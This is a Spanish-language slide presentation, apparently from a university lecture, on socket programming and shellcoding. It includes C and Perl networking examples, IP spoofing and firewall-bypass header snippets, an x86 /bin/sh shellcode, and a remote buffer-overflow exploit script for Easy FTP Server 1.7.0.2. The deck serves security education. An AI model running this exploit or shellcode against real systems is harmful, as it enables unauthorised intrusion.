SlideShare a Scribd company logo
Uso de la Programación para la Seguridad en Redes (a.k.a. Sockets y Shellcoding)
Contenido




Primera Parte: Sockets

Segunda Parte: Shellcodes
Primera Parte




# echo _Sockets_
Por qué saber sobre sockets ?



    “Para construir cualquier aplicación de red”

●WWW
●FTP

●P2P
Pre-requisitos



●TCP / IP básico
●Programación

●Estructuras de datos

●Compilación de programas sobre Linux con gcc
TCP/IP

Dirección IP:
Es un número que indentifica a cualquier equipo conectado a una
red IP. Ejemplo: 192.168.1.10

Puerto:
Es un número que permite que un programa en una computadora
envíe o reciba data. Ejemplo: puerto 80 (web)
TCP/IP


Dirección IP con puertos




               Puertos conocidos: 1 – 1023
            Puertos registrados: 1024 – 49151
       Puertos dinámicos o privados: 49152 – 65535
TCP/IP


Arquitectura Cliente Servidor
TCP/IP


Pila de Capas
TCP/IP


Cabecera + Datos



       Cabecera         Datos
Estructuras de datos en C

struct linea{
           int          punto_inicial;
           int          punto_final;
           int          grosor_linea;
           char[10]     color_linea;
} mi_linea;

…

struct linea *linea1;
Compilación de programas con gcc

Programa usado: gcc




# gcc HolaMundo.c -o HolaMundo
Definición Socket



Canal de comunicación entre 2 equipos distintos
             o el mismo equipo

         “Todo en Linux es un archivo”
Tipos de Socket



 1) Orientado a la conexión.
●Ejemplo: TCP socket




 2) No orientado a la conexión.
●Ejemplo: UDP socket
Big endian vs Little endian
Orden de bytes de red



● htonl - 32 bits
● htons - 16 bits

● ntons - 32 bits

● ntohs - 16 bits
El servidor


 1. Apertura de un socket - socket()
 2. Avisar al sistema operativo - bind()
 3. Que el sistema comience a atender dicha
conexión - listen()
 4. Aceptar las conexiones - accept()
 5. Escribir y recibir datos - write(), read()
 6. Cierre de la comunicación - close()
El cliente



1. Apertura de un socket - socket()
2. Solicitar la conexión - connect()
3. Escribir y recibir datos - write(), read()
4. Cierre de la comunicación - close()
Código de Servidor 1/1

#include   <unistd.h>
#include   <sys/socket.h>
#include   <netinet/in.h>
#include   <time.h>

#define    MAXLINE     4096
#define    LISTENQ     1024

Int main(int argc, char **argv) {
   int             listenfd, connfd;
   struct sockaddr_in servaddr;
   char            buff[MAXLINE];
   time_t          ticks;

   listenfd = socket(AF_INET, SOCK_STREAM, 0);

   bzero(&servaddr, sizeof(servaddr));
Código de Servidor 2/2
   servaddr.sin_family      = AF_INET;
   servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
   servaddr.sin_port        = htons(13); /* Puerto para el
servidor */
   bind(listenfd, (SA *) &servaddr, sizeof(servaddr));

    listen(listenfd, LISTENQ);

    for ( ; ; ) {
       connfd = accept(listenfd, (SA *) NULL, NULL);

        ticks = time(NULL);
        snprintf(buff, sizeof(buff), "%.24srn",
ctime(&ticks));
        write(connfd, buff, strlen(buff));

        close(connfd);
    }
}
Código del Cliente 1/2

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define    MAXLINE   4096

Int main(int argc, char **argv) {
   int             sockfd, n;
   char            recvline[MAXLINE + 1];
   struct sockaddr_in servaddr;

   if (argc != 2)
      err_quit("uso: ./programa <direccionIP>");

   sockfd = socket(AF_INET, SOCK_STREAM, 0);

   bzero(&servaddr, sizeof(servaddr));
Código del Cliente 2/2

   servaddr.sin_family = AF_INET;
   servaddr.sin_port   = htons(13); /* Puerto del servidor
daytime */
   inet_pton(AF_INET, argv[1], &servaddr.sin_addr);

    connect(sockfd, (SA *) &servaddr, sizeof(servaddr));

    while ( (n = read(sockfd, recvline, MAXLINE)) > 0) {
       recvline[n] = 0;   /* null */
       if (fputs(recvline, stdout) == EOF)
          err_sys("fputs error");
    }
    if (n < 0)
       err_sys("read error");

    exit(0);
}
Aplicaciones Sockets




                       Motivaciones
Aplicaciones Sockets

Scanning de red con UDP sockets 1/2
Aplicaciones Sockets

Scanning de red con UDP sockets 2/2
Aplicaciones Sockets

Scanning de red con TCP sockets
Aplicaciones Sockets
Aplicaciones Sockets


             Usando un iPhone?
           Usa la versión optimizada.




                              Motivaciones
Aplicaciones Sockets

HTTP Server en Java
    if ( ExisteWeb )
                 {
                statusLine = "HTTP/1.0 200 OK" + CRLF ;
                contentTypeLine = "Content-type: " +
                    contentType( fileName ) + CRLF ;
                contentLengthLine = "Content-Length: "
                    + (new Integer(fis.available())).toString()
                    + CRLF;
                 }
            else
                 {
                statusLine = "HTTP/1.0 404 Not Found" + CRLF ;
                contentTypeLine = "text/html" ;
                entityBody = "<HTML>" +
                    "<HEAD><TITLE>404 Not Found</TITLE></HEAD>" +
                    "<BODY>404 Not Found"
                    +"<br>usage:http://yourHostName:port/"
                    +"fileName.html</BODY></HTML>" ;
                 }
Aplicaciones Sockets

HTTP Client en Perl
#!/usr/bin/perl -w
use IO::Socket;

$remote = new IO::Socket::INET(
                        Proto    => "tcp",
                        PeerAddr => "localhost",
                        PeerPort => "http(80)",
                    ) or die "cannot connect";

print $remote "GET /index.htm HTTP/1.0n";
print $remote "User-Agent: Mozilla/5.0 (iPhone; U; CPU like Mac OS   X; en)
AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a
Safari/419.3nn";
print $remote "Accept: */*nn";

while ( <$remote> ) { print }

$total_bytes = length($remote);
print " -- Total: $total_bytes bytes";
close($remote);
Aplicaciones Sockets




                       Motivaciones
Aplicaciones Sockets

Spoofing una dirección IP
#define IP_FUENTE         "192.168.0.05"
#define IP_DESTINO   "192.168.0.07"


...

struct iphdr *cabeceraIP;

cabeceraIP->saddr = inet_addr(IP_FUENTE);
cabeceraIP->daddr = inet_addr(IP_DESTINO);
Aplicaciones Sockets




                       Motivaciones
Aplicaciones Sockets

Bypassing un Firewall
#define bytes_data 100

void CrearTcpHeader()
{
    struct tcphdr *cabecera_tcp;
    cabecera_tcp = (struct tcphdr *)malloc(sizeof(struct tcphdr));

    cabecera_tcp   ->   source = htons(80);
    cabecera_tcp   ->   dest = htons(100);
    cabecera_tcp   ->   seq = htonl(111);
    cabecera_tcp   ->   ack_seq = htonl(111);
    cabecera_tcp   ->   res1 = 0;
    cabecera_tcp   ->   doff = (sizeof(struct tcphdr))/4;
    cabecera_tcp   ->   syn = 1;
    cabecera_tcp   ->   window = htons(100);
    cabecera_tcp   ->   check = 0;
    cabecera_tcp   ->   urg_ptr = 0;

    return (cabecera_tcp);
}
Aplicaciones Sockets

Bypassing un Firewall
Aplicaciones Sockets

Más librerías




                                Falsos positivos
Segunda Parte




# echo _Shellcodes_
Definición de Shellcode




“Código que se ejecutará para obtener una shell”
Construcción de shellcode

global _start
_start:                               Assembler y objdump
        xor eax, eax
        mov al, 70
        xor ebx, ebx
                               char code[] =
        xor ecx, ecx
                               "x31xc0xb0x46x31xdbx31xc9xcdx80xe
        int 0x80
                               b"
        jmp short ender
                               "x16x5bx31xc0x88x43x07x89x5bx08x8
       starter:
                               9"
       pop ebx
       xor eax, eax
                               "x43x0cxb0x0bx8dx4bx08x8dx53x0cxc
       mov [ebx+7 ], al
                               d"
       mov [ebx+8 ], ebx
                               "x80xe8xe5xffxffxffx2fx62x69x6ex2
       mov   [ebx+12], eax
                               f"
       mov   al, 11
       lea   ecx, [ebx+8]
                               "x73x68x58x41x41x41x41x42x42x42x4
       lea   edx, [ebx+12]
                               2";
       int   0x80

       ender:
       call starter
       db '/bin/shNAAAABBBB'
Construcción de shellcode

Automatizar
Construcción de shellcode

Conexión remota
Aplicaciones Shellcode

Buffer Overflow
#!/usr/bin/python
import socket, sys
print """
*************************************************
*   Easy FTP Server 1.7.0.2 Remote BoF   *
*       Discovered by: Jon Butler        *
*************************************************
"""

shellcode = ("xbax20xf0xfdx7fxc7x02x4cxaaxf8x77"
"x33xC0x50x68x63x61x6Cx63x54x5Bx50x53xB9"
"xC7x93xC2x77"
"xFFxD1xEBxF7")

nopsled = "x90" * (268 - len(shellcode))
ret = "x58xFDx9Ax00"
payload = nopsled + shellcode + ret # 272 bytes
Aplicaciones Shellcode

Buffer Overflow
print "[+] Launching exploit against " + target + "..."
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    connect=s.connect((target, port))
    print "[+] Connected!"
except:
    print "[!] Connection failed!"
    sys.exit(0)
s.recv(1024)
s.send('USER anonymousrn')
s.recv(1024)
s.send('PASS anonymousrn')
s.recv(1024)

print "[+] Sending payload..."
s.send('CWD ' + payload + 'rn') # Se envía el shellcode
Aplicaciones Shellcode

Superusuario :)
Referencias
Referencias



●[+] http://www.it.uom.gr/project/client_server/socket/socket/java/
●[+] http://oreilly.com/openbook/webclient/ch03.html
●[+] http://beej.us/guide/bgnet/output/print/bgnet_A4.pdf

●[+] http://hakin9.org/article-html/2400-linux-shellcode-optimisation

●[+] http://www.vividmachines.com/shellcode/shellcode.html

●[+] http://www.securitytube.net/Socket-Programming-Basics-Presentation-video.aspx
Contacto

p.valera@pucp.edu.pe

http://blog.pucp.edu.pe/pedro
Gracias !

More Related Content

PDF
Puppet入门
PDF
Vpn gw2gw
PDF
Neuperl6
PDF
whatsoever, hardening linux webserver in 60 minutes
PDF
Symfony2 en pièces détachées
RTF
Romper mirro rs y crearlos
PPT
Works
PDF
Articulo nmap pvalera
Puppet入门
Vpn gw2gw
Neuperl6
whatsoever, hardening linux webserver in 60 minutes
Symfony2 en pièces détachées
Romper mirro rs y crearlos
Works
Articulo nmap pvalera
Ad

Uso de la Programación para la Seguridad en Redes (a.k.a. Sockets y Shellcoding)

  • 4. Por qué saber sobre sockets ? “Para construir cualquier aplicación de red” ●WWW ●FTP ●P2P
  • 5. Pre-requisitos ●TCP / IP básico ●Programación ●Estructuras de datos ●Compilación de programas sobre Linux con gcc
  • 6. TCP/IP Dirección IP: Es un número que indentifica a cualquier equipo conectado a una red IP. Ejemplo: 192.168.1.10 Puerto: Es un número que permite que un programa en una computadora envíe o reciba data. Ejemplo: puerto 80 (web)
  • 7. TCP/IP Dirección IP con puertos Puertos conocidos: 1 – 1023 Puertos registrados: 1024 – 49151 Puertos dinámicos o privados: 49152 – 65535
  • 10. TCP/IP Cabecera + Datos Cabecera Datos
  • 11. Estructuras de datos en C struct linea{ int punto_inicial; int punto_final; int grosor_linea; char[10] color_linea; } mi_linea; … struct linea *linea1;
  • 12. Compilación de programas con gcc Programa usado: gcc # gcc HolaMundo.c -o HolaMundo
  • 13. Definición Socket Canal de comunicación entre 2 equipos distintos o el mismo equipo “Todo en Linux es un archivo”
  • 14. Tipos de Socket 1) Orientado a la conexión. ●Ejemplo: TCP socket 2) No orientado a la conexión. ●Ejemplo: UDP socket
  • 15. Big endian vs Little endian
  • 16. Orden de bytes de red ● htonl - 32 bits ● htons - 16 bits ● ntons - 32 bits ● ntohs - 16 bits
  • 17. El servidor 1. Apertura de un socket - socket() 2. Avisar al sistema operativo - bind() 3. Que el sistema comience a atender dicha conexión - listen() 4. Aceptar las conexiones - accept() 5. Escribir y recibir datos - write(), read() 6. Cierre de la comunicación - close()
  • 18. El cliente 1. Apertura de un socket - socket() 2. Solicitar la conexión - connect() 3. Escribir y recibir datos - write(), read() 4. Cierre de la comunicación - close()
  • 19. Código de Servidor 1/1 #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <time.h> #define MAXLINE 4096 #define LISTENQ 1024 Int main(int argc, char **argv) { int listenfd, connfd; struct sockaddr_in servaddr; char buff[MAXLINE]; time_t ticks; listenfd = socket(AF_INET, SOCK_STREAM, 0); bzero(&servaddr, sizeof(servaddr));
  • 20. Código de Servidor 2/2 servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = htonl(INADDR_ANY); servaddr.sin_port = htons(13); /* Puerto para el servidor */ bind(listenfd, (SA *) &servaddr, sizeof(servaddr)); listen(listenfd, LISTENQ); for ( ; ; ) { connfd = accept(listenfd, (SA *) NULL, NULL); ticks = time(NULL); snprintf(buff, sizeof(buff), "%.24srn", ctime(&ticks)); write(connfd, buff, strlen(buff)); close(connfd); } }
  • 21. Código del Cliente 1/2 #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #define MAXLINE 4096 Int main(int argc, char **argv) { int sockfd, n; char recvline[MAXLINE + 1]; struct sockaddr_in servaddr; if (argc != 2) err_quit("uso: ./programa <direccionIP>"); sockfd = socket(AF_INET, SOCK_STREAM, 0); bzero(&servaddr, sizeof(servaddr));
  • 22. Código del Cliente 2/2 servaddr.sin_family = AF_INET; servaddr.sin_port = htons(13); /* Puerto del servidor daytime */ inet_pton(AF_INET, argv[1], &servaddr.sin_addr); connect(sockfd, (SA *) &servaddr, sizeof(servaddr)); while ( (n = read(sockfd, recvline, MAXLINE)) > 0) { recvline[n] = 0; /* null */ if (fputs(recvline, stdout) == EOF) err_sys("fputs error"); } if (n < 0) err_sys("read error"); exit(0); }
  • 23. Aplicaciones Sockets Motivaciones
  • 24. Aplicaciones Sockets Scanning de red con UDP sockets 1/2
  • 25. Aplicaciones Sockets Scanning de red con UDP sockets 2/2
  • 26. Aplicaciones Sockets Scanning de red con TCP sockets
  • 28. Aplicaciones Sockets Usando un iPhone? Usa la versión optimizada. Motivaciones
  • 29. Aplicaciones Sockets HTTP Server en Java if ( ExisteWeb ) { statusLine = "HTTP/1.0 200 OK" + CRLF ; contentTypeLine = "Content-type: " + contentType( fileName ) + CRLF ; contentLengthLine = "Content-Length: " + (new Integer(fis.available())).toString() + CRLF; } else { statusLine = "HTTP/1.0 404 Not Found" + CRLF ; contentTypeLine = "text/html" ; entityBody = "<HTML>" + "<HEAD><TITLE>404 Not Found</TITLE></HEAD>" + "<BODY>404 Not Found" +"<br>usage:http://yourHostName:port/" +"fileName.html</BODY></HTML>" ; }
  • 30. Aplicaciones Sockets HTTP Client en Perl #!/usr/bin/perl -w use IO::Socket; $remote = new IO::Socket::INET( Proto => "tcp", PeerAddr => "localhost", PeerPort => "http(80)", ) or die "cannot connect"; print $remote "GET /index.htm HTTP/1.0n"; print $remote "User-Agent: Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3nn"; print $remote "Accept: */*nn"; while ( <$remote> ) { print } $total_bytes = length($remote); print " -- Total: $total_bytes bytes"; close($remote);
  • 31. Aplicaciones Sockets Motivaciones
  • 32. Aplicaciones Sockets Spoofing una dirección IP #define IP_FUENTE "192.168.0.05" #define IP_DESTINO "192.168.0.07" ... struct iphdr *cabeceraIP; cabeceraIP->saddr = inet_addr(IP_FUENTE); cabeceraIP->daddr = inet_addr(IP_DESTINO);
  • 33. Aplicaciones Sockets Motivaciones
  • 34. Aplicaciones Sockets Bypassing un Firewall #define bytes_data 100 void CrearTcpHeader() { struct tcphdr *cabecera_tcp; cabecera_tcp = (struct tcphdr *)malloc(sizeof(struct tcphdr)); cabecera_tcp -> source = htons(80); cabecera_tcp -> dest = htons(100); cabecera_tcp -> seq = htonl(111); cabecera_tcp -> ack_seq = htonl(111); cabecera_tcp -> res1 = 0; cabecera_tcp -> doff = (sizeof(struct tcphdr))/4; cabecera_tcp -> syn = 1; cabecera_tcp -> window = htons(100); cabecera_tcp -> check = 0; cabecera_tcp -> urg_ptr = 0; return (cabecera_tcp); }
  • 37. Segunda Parte # echo _Shellcodes_
  • 38. Definición de Shellcode “Código que se ejecutará para obtener una shell”
  • 39. Construcción de shellcode global _start _start: Assembler y objdump xor eax, eax mov al, 70 xor ebx, ebx char code[] = xor ecx, ecx "x31xc0xb0x46x31xdbx31xc9xcdx80xe int 0x80 b" jmp short ender "x16x5bx31xc0x88x43x07x89x5bx08x8 starter: 9" pop ebx xor eax, eax "x43x0cxb0x0bx8dx4bx08x8dx53x0cxc mov [ebx+7 ], al d" mov [ebx+8 ], ebx "x80xe8xe5xffxffxffx2fx62x69x6ex2 mov [ebx+12], eax f" mov al, 11 lea ecx, [ebx+8] "x73x68x58x41x41x41x41x42x42x42x4 lea edx, [ebx+12] 2"; int 0x80 ender: call starter db '/bin/shNAAAABBBB'
  • 42. Aplicaciones Shellcode Buffer Overflow #!/usr/bin/python import socket, sys print """ ************************************************* * Easy FTP Server 1.7.0.2 Remote BoF * * Discovered by: Jon Butler * ************************************************* """ shellcode = ("xbax20xf0xfdx7fxc7x02x4cxaaxf8x77" "x33xC0x50x68x63x61x6Cx63x54x5Bx50x53xB9" "xC7x93xC2x77" "xFFxD1xEBxF7") nopsled = "x90" * (268 - len(shellcode)) ret = "x58xFDx9Ax00" payload = nopsled + shellcode + ret # 272 bytes
  • 43. Aplicaciones Shellcode Buffer Overflow print "[+] Launching exploit against " + target + "..." s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: connect=s.connect((target, port)) print "[+] Connected!" except: print "[!] Connection failed!" sys.exit(0) s.recv(1024) s.send('USER anonymousrn') s.recv(1024) s.send('PASS anonymousrn') s.recv(1024) print "[+] Sending payload..." s.send('CWD ' + payload + 'rn') # Se envía el shellcode
  • 46. Referencias ●[+] http://www.it.uom.gr/project/client_server/socket/socket/java/ ●[+] http://oreilly.com/openbook/webclient/ch03.html ●[+] http://beej.us/guide/bgnet/output/print/bgnet_A4.pdf ●[+] http://hakin9.org/article-html/2400-linux-shellcode-optimisation ●[+] http://www.vividmachines.com/shellcode/shellcode.html ●[+] http://www.securitytube.net/Socket-Programming-Basics-Presentation-video.aspx